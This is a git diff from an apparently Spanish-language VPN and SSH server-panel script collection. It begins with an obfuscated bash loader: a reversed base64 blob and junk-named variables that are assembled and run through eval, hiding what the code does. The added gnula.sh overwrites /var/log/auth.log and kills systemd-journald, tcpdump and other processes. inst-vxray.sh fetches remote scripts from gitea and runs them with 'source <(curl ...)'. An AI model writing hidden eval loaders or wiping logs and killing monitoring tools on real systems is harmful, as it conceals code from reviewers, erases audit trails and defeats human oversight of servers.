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 | r";yJAgnGQAuyOcVJVVjCcUreEqweHIJVuAAspGEHpLkmuQFVFFJVUjIzpGvunpELcVichWlRSatYwzUREmSAnifrPKrEqzFDUfqpZN="ewZHaBvrpNtEbBuaoaTFqCVmOemVirgklUtlucGeySIpOFKnGtFxIAWRSRiYjEuYrXbtzckFBlIyUGcbvPasitXsNiZMaJHiYZqn";zNYxOIUgZkzzFWpIwJVLkUeeBlMGecozxNqJPqTIDXKuzFTbVVpxwPGqWYKyIRKzJciKCmqnUXZtFOqIlAonPLSTNKVSGRdmhHTq="";YFjEExaColljYuCdVsKDoiqrTwysQbstNFZwUJpAQambZWwYJPdsnoIzOPIDEAUmYvxthuKpWSTbTMXAahjmRZQYhrzvDnPEuxGw="as";PMIHjfldyfruLgsZenVKYWZYKsdxbIaTYiOzQRbkyLzsODrluUQoffNKgvqsvhlwdhBiKsbscuHqlBqRJGePwySZMzfmAQVDOWCZ="jlXuwFxQuGALzxVTeaGxYoKHOREHdfiFqIaWmOokLedFjpPeYcEzJzPgithUjRaOxSWcevIuhyEmeSkoFesACAhcDdCfSaRLiYhd";SZCnpXMTQaKdHNtnDghFTPBjioKLqWHJcYdrlBKVNMcWfZImESqbPCRvffFjxNQOVuCgQyLehwMOvbdNLUgufRjjOHCPbOxsbgCd="NnGqRaliyerFJpynGdPbvoyhOTjIWvcbyBWHvGZYTXBymHVYTglxIhjfygWXIltfMXfdKHiJoozVBAJldlFuYLynPBOYZFoIjUMc";VPtWAQIIACzxHquhbnDgiPbqhvwrnIDUfZFCrCSeZBgOeKVDRDIWBzMUBviQPCiohTBIgtMfGRURzYXwPXaRioGcOHOyqUsLkEDb="o";aqcmNMuKFVNvYMkzXdwHXNTzjgOJRIiXpXsGUEBLkBYKBxPLSSZbrvtvWZJVuOfmLLXiZPQmaQjoSkBFWkIhVjlgApbYarLkTpMd="6";IDnzTZZOhxpNKKHIbGXENOpkHPedHZhfoYSyAwRPMNaJZXmgyGCirLSgAQtzGXoaNNuEFGZTVferoMBdngApQmkwHyDbeDsOhIWR="zAAXuGmCczCFnovFKofphoLWsuOXUxfcTebJSqoIikgFZyUDLtimeKxrFKVxbKXahcLRByncYVNdWwIWacczshwHobkDuleKBGKb";vELvPHhPTLsjdNpKHHhRmVTWffqmiPVTUmLMadySokNnMWaaTbYXYKqDJFKsAirYDyuVmSTUSDzmRwufIBuxHLKfJodshmaLtqoc=" -d";oUDrzlxbgWnoYOJyPnrpTYjKOSiNSlMeKhckXbJpmGveuZXprhWRwUKBVKBzTNfDYyZVHCljFSficvSjdAXTRjwEpvXTaOIpsMul="xIzZEejbnJrUuIhUVXRkkNaZdcUrpngihgynwdXvHdOlDrnDzwnDLobTvtWgrjOHXecWAuUIkRGKdCrkipCOkpMvdTkNFTcMNgox";eQeknUyRecKMskCLKilezatPBsUoNbBRsPgSTDILDJeqTwzLgYgiLETkPYEZxqCtNniWoITkaSHfSfBUePvIWxDoxXBnRlTWIHSL="";qMNTPWueMdEEhTSwjCueWyPlxuQWEzvUpQdgsNyTTdBRTqvaSliBfEQwYiUlIwgbNtWhPRkIvzKgMXqpRzRnJAgFkMPLNapEWdBR="b";btPxuMvXRSuZyXSvpHWIZRbtymxXshfFyrkOdTLomGyTOcGaXmXbBXlEptqpZSolYDjuivNQnRraGpPRaYeSTZupJJZcSqxONxeR="e";SGLFVpDkcRDhyWnouZNzBGoAZkYeOSlbeLdBmmlvdWobzXygiSWhOsZohzYADmhFRsEiRgTqCKqCJmNPqSEvlRUSfRPylEGpnzaO="v |";Tx=Eds;ElwLTPySbrxBQsyzKGgWGwofzppZXSrBduvKEtPiVUpOcNNNmeVmVFFGlzEuivVsGahhgHGyQuzZKemFmAHVZUlDeLThDivtnDJd="";JZrxkduoMpQgdquPMqjsvftoWhHokLWZNyZPJsKSeXaEYEeBfFFyUNvRoniaSgCEegepOhndPmUdqalocyhHeVKwHJrxEMAiEbNS=$(eval "$zNYxOIUgZkzzFWpIwJVLkUeeBlMGecozxNqJPqTIDXKuzFTbVVpxwPGqWYKyIRKzJciKCmqnUXZtFOqIlAonPLSTNKVSGRdmhHTq$btPxuMvXRSuZyXSvpHWIZRbtymxXshfFyrkOdTLomGyTOcGaXmXbBXlEptqpZSolYDjuivNQnRraGpPRaYeSTZupJJZcSqxONxeR$jcQyuhzQTlsviKbqkxIAVCNBmAzAXxOgQKvFapOTrZgJABykpcogLrQlRnLsVFCbBEZUiDDoLqtWcYbunuYjwmsmnWvOwFmAllBR$nmaTNWKpJIYGkhwzZalHvvqlzpMpKVyPprKxbdUdtRsRKpTwEHOBpQNqAXcAyRHsrvBhVQiUVxXUsJpWnFFDWSfbKzeTdoFpRlVb$VPtWAQIIACzxHquhbnDgiPbqhvwrnIDUfZFCrCSeZBgOeKVDRDIWBzMUBviQPCiohTBIgtMfGRURzYXwPXaRioGcOHOyqUsLkEDb$HsqBHgfnjVzVgYEfClywDjxMEeLmSVeiOYzjOsCrtGyegOIorAIJGoXdiasbJknMATDLpevDwWTxmwXrhpJlJaeDPzkVZaRMEFWD$btPxuMvXRSuZyXSvpHWIZRbtymxXshfFyrkOdTLomGyTOcGaXmXbBXlEptqpZSolYDjuivNQnRraGpPRaYeSTZupJJZcSqxONxeR$SGLFVpDkcRDhyWnouZNzBGoAZkYeOSlbeLdBmmlvdWobzXygiSWhOsZohzYADmhFRsEiRgTqCKqCJmNPqSEvlRUSfRPylEGpnzaO$zNYxOIUgZkzzFWpIwJVLkUeeBlMGecozxNqJPqTIDXKuzFTbVVpxwPGqWYKyIRKzJciKCmqnUXZtFOqIlAonPLSTNKVSGRdmhHTq$qMNTPWueMdEEhTSwjCueWyPlxuQWEzvUpQdgsNyTTdBRTqvaSliBfEQwYiUlIwgbNtWhPRkIvzKgMXqpRzRnJAgFkMPLNapEWdBR$ElwLTPySbrxBQsyzKGgWGwofzppZXSrBduvKEtPiVUpOcNNNmeVmVFFGlzEuivVsGahhgHGyQuzZKemFmAHVZUlDeLThDivtnDJd$YFjEExaColljYuCdVsKDoiqrTwysQbstNFZwUJpAQambZWwYJPdsnoIzOPIDEAUmYvxthuKpWSTbTMXAahjmRZQYhrzvDnPEuxGw$btPxuMvXRSuZyXSvpHWIZRbtymxXshfFyrkOdTLomGyTOcGaXmXbBXlEptqpZSolYDjuivNQnRraGpPRaYeSTZupJJZcSqxONxeR$aqcmNMuKFVNvYMkzXdwHXNTzjgOJRIiXpXsGUEBLkBYKBxPLSSZbrvtvWZJVuOfmLLXiZPQmaQjoSkBFWkIhVjlgApbYarLkTpMd$nmaTNWKpJIYGkhwzZalHvvqlzpMpKVyPprKxbdUdtRsRKpTwEHOBpQNqAXcAyRHsrvBhVQiUVxXUsJpWnFFDWSfbKzeTdoFpRlVb$MKajUAPdmXToqOQsPyVPPPNlrvbvBkQNHzsMQbmJsoYanXsDLkLvbxteAYUgiSReTKfCrpEEwgWhCcYEvwlroZgwWnMNVYxCcyvz$vELvPHhPTLsjdNpKHHhRmVTWffqmiPVTUmLMadySokNnMWaaTbYXYKqDJFKsAirYDyuVmSTUSDzmRwufIBuxHLKfJodshmaLtqoc$ElwLTPySbrxBQsyzKGgWGwofzppZXSrBduvKEtPiVUpOcNNNmeVmVFFGlzEuivVsGahhgHGyQuzZKemFmAHVZUlDeLThDivtnDJd");eval "$eQeknUyRecKMskCLKilezatPBsUoNbBRsPgSTDILDJeqTwzLgYgiLETkPYEZxqCtNniWoITkaSHfSfBUePvIWxDoxXBnRlTWIHSL$JZrxkduoMpQgdquPMqjsvftoWhHokLWZNyZPJsKSeXaEYEeBfFFyUNvRoniaSgCEegepOhndPmUdqalocyhHeVKwHJrxEMAiEbNS$zNYxOIUgZkzzFWpIwJVLkUeeBlMGecozxNqJPqTIDXKuzFTbVVpxwPGqWYKyIRKzJciKCmqnUXZtFOqIlAonPLSTNKVSGRdmhHTq$nmaTNWKpJIYGkhwzZalHvvqlzpMpKVyPprKxbdUdtRsRKpTwEHOBpQNqAXcAyRHsrvBhVQiUVxXUsJpWnFFDWSfbKzeTdoFpRlVb" \ No newline at end of file diff --git a/Recursos/gnula.sh b/Recursos/gnula.sh new file mode 100644 index 0000000..703b150 --- /dev/null +++ b/Recursos/gnula.sh @@ -0,0 +1,129 @@ +#!/bin/sh +export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games/ + +echo '@drowkid01 ' > /var/log/auth.log + +rm -rf /usr/.work +#echo > /var/log/auth.log +#killall rsyslog +#systemctl restart rsyslog.service +#clear&&clear +rm -f /root/cron +_puertas() { + unset portas + portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN") + while read port; do + var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') + [[ "$(echo -e $portas | grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" + done <<<"$portas_var" + i=1 + echo -e "$portas" +} + +reiniciar_ser () { +screen -wipe &>/dev/null +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +echo 3 > /proc/sys/vm/drop_caches +sysctl -w vm.drop_caches=3 > /dev/null 2>&1 +## +echo "" +echo -ne " \033[1;31m[ ! ] Services AUTOREBOOT RESTART FIX" +killall $(cat /bin/autoboot| grep -w screen |awk '{print $20}') &>/dev/null +/bin/autoboot &>/dev/null && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -e " \033[1;31m[ ! ] Services BADVPN UDP RESTART " +[[ -e /etc/systemd/system/badvpn.service ]] && { +systemctl restart badvpn.service > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +} || { +portasx="$(ps x | grep badvpn | grep -v grep | grep -v SCREEN | cut -d ":" -f3 | awk '{print $1'})" +killall badvpn-udpgw 1> /dev/null 2> /dev/null +totalporta=($portasx) + unset PORT + for ((i = 0; i < ${#totalporta[@]}; i++)); do + [[ $(_puertas | grep "${totalporta[$i]}") = "" ]] && { + echo -ne " \033[1;33m BADVPN:\033[1;32m ${totalporta[$i]}" + PORT+="${totalporta[$i]}\n" + screen -dmS badvpn $(which badvpn-udpgw) --listen-addr 127.0.0.1:${totalporta[$i]} --max-clients 1000 --max-connections-for-client 10 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" + } || { + echo -e "\033[1;33m Puerto Escojido:\033[1;31m ${totalporta[$i]} FAIL" + } + done +} || echo -e "\033[1;31m [ SERVICE NO INSTALL ]" +#killall /etc/adm-lite/slow/dnsi/dns-server > /dev/null 2>&1 +echo -ne " \033[1;31m[ ! ] Services ssh restart" +service dropbear stop > /dev/null 2>&1 +service ssh restart > /dev/null 2>&1 +[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services dropbear restart" +service dropbear restart > /dev/null 2>&1 +[[ -e /etc/init.d/dropbear ]] && /etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services stunnel4 restart" +service stunnel4 restart > /dev/null 2>&1 +systemctl restart stunnel > /dev/null 2>&1 +[[ -e /etc/init.d/stunnel4 ]] && /etc/init.d/stunnel4 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services stunnel5 restart" +service stunnel5 restart > /dev/null 2>&1 +systemctl restart stunnel5.service > /dev/null 2>&1 +[[ -e /etc/init.d/stunnel5 ]] && systemctl restart stunnel5.service > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services V2RAY restart" +[[ -e /etc/v2ray/config.json ]] && { +( +v2ray restart > /dev/null 2>&1 +service v2ray restart > /dev/null 2>&1 +v2ray clean >/dev/null 2>&1 & +) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +} || echo -e "\033[1;31m [ SERVICE NO INSTALL ]" +echo -ne " \033[1;31m[ ! ] Services XRAY restart" +[[ -e /etc/xray/config.json ]] && { +( +xray restart > /dev/null 2>&1 +service xray restart > /dev/null 2>&1 +xray clean >/dev/null 2>&1 & +) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +} || echo -e "\033[1;31m [ SERVICE NO INSTALL ]" +echo -ne " \033[1;31m[ ! ] Services X-UI restart" +[[ -e /usr/local/x-ui/bin/config.json ]] && { +systemctl restart x-ui > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" +} || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services Trojan-GO restart IN " +killall trojan &> /dev/null 2>&1 +[[ -e /usr/local/etc/trojan/config.json ]] && { +[[ $(uname -m 2> /dev/null) != x86_64 ]] && { +echo -ne "\033[1;32m ARM X64 " && (screen -dmS trojanserv trojan --config /usr/local/etc/trojan/config.json &) && echo "OK " || echo -e "\033[1;32mΔ FAIL" +} || echo -ne "\033[1;32m X86-64 " && (screen -dmS trojanserv trojan /usr/local/etc/trojan/config.json -l /root/server.log &) && echo "OK " || echo -e "\033[1;32mΔ FAIL" +} +echo -ne " \033[1;31m[ ! ] Services KeyGen restart" +[[ -e "$(which genon)" ]] && genon && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services squid restart" +service squid restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services squid3 restart" +service squid3 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services apache2 restart" +service apache2 restart > /dev/null 2>&1 +[[ -e /etc/init.d/apache2 ]] && /etc/init.d/apache2 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services openvpn restart" +service openvpn restart > /dev/null 2>&1 +[[ -e /etc/init.d/openvpn ]] && /etc/init.d/openvpn restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services KeyGen restart" +killall http-server.sh &> /dev/null 2>&1 +[[ -e /bin/http-server.sh ]] && screen -dmS generador /bin/http-server.sh -start > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne " \033[1;31m[ ! ] Services fail2ban restart" +( +[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart +fail2ban-client -x stop && fail2ban-client -x start +) > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" + +killall kswapd0 > /dev/null 2>&1 +killall systemd-journald > /dev/null 2>&1 +killall tcpdump > /dev/null 2>&1 +killall ksoftirqd > /dev/null 2>&1 +killall menu_inst > /dev/null 2>&1 +killall usercodes > /dev/null 2>&1 +killall menu > /dev/null 2>&1 +rm -f /file +return +} + +#[[ "$1" = "--menu" ]] && reiniciar_ser || reiniciar_ser >> /root/Autoblog.log +reiniciar_ser >> /root/Autoblog.log diff --git a/Recursos/inst-vxray.sh b/Recursos/inst-vxray.sh new file mode 100644 index 0000000..2286672 --- /dev/null +++ b/Recursos/inst-vxray.sh @@ -0,0 +1,108 @@ +#!/bin/bash +source msg +config='/etc/v2ray/config.json' +tmp='/etc/v2ray/temp.json' +clear +if [[ ! -e /usr/games/v2r ]]; then + if [[ ! -e /etc/systemd/system/v2ray.service ]]; then + msg -bar + [[ $(dpkg --get-selections|grep "lolcat") ]] || { + sudo apt-get install lolcat &>/dev/null + sudo gem install lolcat &>/dev/null + } + echo -e " $(msg -verm 'AÚN NO HAZ INSTALADO V2RAY!')" + msg -bar&&msg -ne '¿DESEAS INSTALAR V2RAY? [S|s/n|N]' + read -p $'\e[1;91m:\e[1;32m ' inx + case $inx in + S|s|Y|y|[Ss]i|[Yy]es|[Ss]imon) + clear + while [[ -z $inst ]]; do + sudo apt-get install software-properties-common -y&&add-apt-repository universe&&apt update -y; apt upgrade -y + clear&&echo -e "\033[92m $(printext '-- INSTALANDO PAQUETES NECESARIOS --') " + msg -bar + value=( [1]="bc" [2]="uuid-runtime" [3]="python" [4]="python-pip" [5]="python3" [6]="qrencode" [7]="jq" [8]="curl" [9]="npm" [10]="nodejs" [11]="socat" [12]="netcat" [13]="netcat-traditional" [14]="net-tools" [15]="cowsay" [16]="figlet" [17]="lolcat" ) + for((i=1;i<=17;i++));do + unset -v pak dig status pts length + pak="${value[$i]}"&&dig="${#pak}" + ( sudo apt-get install ${pak} -y ) &> /dev/null + status=$(if [[ $(dpkg --get-selections|grep "${value[$i]}") ]]; then echo -e "\e[1;32mINSTALADO" ; else echo -e "\e[1;91mNO INSTALADO" ; fi) + #echo -e "\e[91mINSTALANDO ${value[$i]}" + echo -ne "\033[1;97m # apt-get install ${value[$i]} " + pts="."&&length=$(( 27 - ${dig} )) + for((x=1;x<$length;x++));do + pts+="." + done + echo -ne "${pts} ${status}\n" + done + msg -ama "$(msg -bar)\n \e[1;33mSI ALGÚN PAQUETE NO SE INSTALÓ CORRECTAMENTE\n $(msg -verm 'REINICIA LA INSTALACIÓN!')" + msg -bar + msg -ne " ¿REINICIAR LA INSTALACIÓN? [s/n]: "&&read inst + [[ $inst == @('s'|'S'|'Si'|'si'|'Yes'|'yes'|'y') ]] && unset inst + done + clear + cat <<< '╻┏┓╻┏━┓╺┳╸┏━┓╻ ┏━┓┏┓╻╺┳┓┏━┓ ╻ ╻┏━┓┏━┓┏━┓╻ ╻ +┃┃┗┫┗━┓ ┃ ┣━┫┃ ┣━┫┃┗┫ ┃┃┃ ┃ ┃┏┛┏━┛┣┳┛┣━┫┗┳┛ +╹╹ ╹┗━┛ ╹ ╹ ╹┗━╸╹ ╹╹ ╹╺┻┛┗━┛ ┗┛ ┗━╸╹┗╸╹ ╹ ╹ ' + msg -bar + echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray_manager.url.sh)" > /usr/games/v2r + chmod +x /usr/games/v2r + msg -ama " La instalacion puede tener\n alguna fallas!\n por favor observe atentamente\n el log de intalacion,\n este podria contener informacion\n sobre algunos errores!\n estos deveras ser corregidos de\n forma manual antes de continual\n usando el script" + sleep 0.2 + enter + source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray.sh) + #source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/down-vxray.sh) --instal + cat >> /etc/systemd/system/v2ray.service <<- eof + [Unit] + Description=V2Ray Service + After=network.target nss-lookup.target + StartLimitIntervalSec=0 + + [Service] + Type=simple + User=root + CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE + AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE + NoNewPrivileges=true + ExecStart=/usr/bin/v2ray/v2ray -config /etc/v2ray/config.json + Restart=always + RestartSec=3s + + + [Install] + WantedBy=multi-user.target + eof + systemctl daemon-reload &>/dev/null + systemctl start v2ray &>/dev/null + systemctl enable v2ray &>/dev/null + systemctl restart v2ray.service + msg -bar + clear&&clear + cat <<< '┏━┓┏━┓┏┓╻┏━╸╻ ╻ ╻┏━┓┏━┓╻ ╻ +┣━┛┣━┫┃┗┫┣╸ ┃ ┏╋┛┣┳┛┣━┫┗┳┛ +╹ ╹ ╹╹ ╹┗━╸┗━╸ ╹ ╹╹┗╸╹ ╹ ╹ ' + msg -bar + echo -e " \033[0;31mEsta opcion es aparte, para habilitar XRAY Install" + echo -e " Habilitaremos el modulo XRAY previo al V2RAY ya instalado \033[0m" + echo -e " Accederas al pannel original si es la primera vez !!\n\033[0m" + msg -bar + msg -ne "¿DESEAS INSTALAR XRAY?: [s/n] "&&read xrr + case $xrr in + [Ss]|[Yy])msg -bar + [[ -e /usr/games/xr ]] && xr || { + echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/xray_manager.sh)" > /usr/games/xr + chmod +x /usr/games/xr + } + ;; + [Nn]|Nn])msg -bar + clear&&v2r + ;; + esac + + ;; + *)tput cuu1&&tput dl1 + echo -e " $(msg -verm 'VOLVIENDO AL MENÚ ANTERIOR!')"&&sleep 2&&return $?;; + esac + + fi +fi + diff --git a/Recursos/killSSH.sh b/Recursos/killSSH.sh new file mode 100644 index 0000000..8009ff0 --- /dev/null +++ b/Recursos/killSSH.sh @@ -0,0 +1,183 @@ +#!/bin/bash +[[ $(dpkg --get-selections|grep -w "tcpdump"|head -1) ]] || apt-get install tcpdump -y &>/dev/null +[[ -e /bin/ejecutar/limFIX ]] && _limTOP="$(cat < /bin/ejecutar/limFIX)" || _limTOP='1' +time=$(date +%s) +export ADM='/etc/adm-lite/userDIR/' +touch /root/user +export database="/root/user" +echo $$ > /tmp/pids +dropb () { +port_dropbear=`ps aux | grep dropbear | awk NR==1 | awk '{print $17;}'` +log=/var/log/auth.log +loginsukses='Password auth succeeded' +clear +pids=`ps ax |grep dropbear |grep " $port_dropbear" |awk -F" " '{print $1}'` +for pid in $pids +do +pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'` +i=0 +for pidend in $pidlogs +do +let i=i+1 +done +if [ $pidend ];then +login=`grep $pid $log |grep "$pidend" |grep "$loginsukses"` +PID=$pid +user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'/ /g"` +waktu=`echo $login |awk -F" " '{print $2"-"$1,$3}'` +while [ ${#waktu} -lt 13 ]; do +waktu=$waktu" " +done +while [ ${#user} -lt 16 ]; do +user=$user" " +done +while [ ${#PID} -lt 8 ]; do +PID=$PID" " +done +echo "$user $PID $waktu" +fi +done +} + +fun_net () { +( +log_0="/tmp/tcpdum" +log_1="/tmp/tcpdump" +log_2="/tmp/tcpdumpLOG" +usr_dir="/etc/adm-lite/userDIR/usr_cnx" +[[ -e "$log_1" ]] && mv -f $log_1 $log_2 +[[ ! -e $usr_dir ]] && touch $usr_dir +#ENCERRA TCP +for pd in `ps x | grep tcpdump | grep -v grep | awk '{print $1}'`; do +kill -9 $pd > /dev/null 2>&1 +done +#INICIA TCP +tcpdump -s 50 -n 1> /tmp/tcpdump 2> /dev/null & 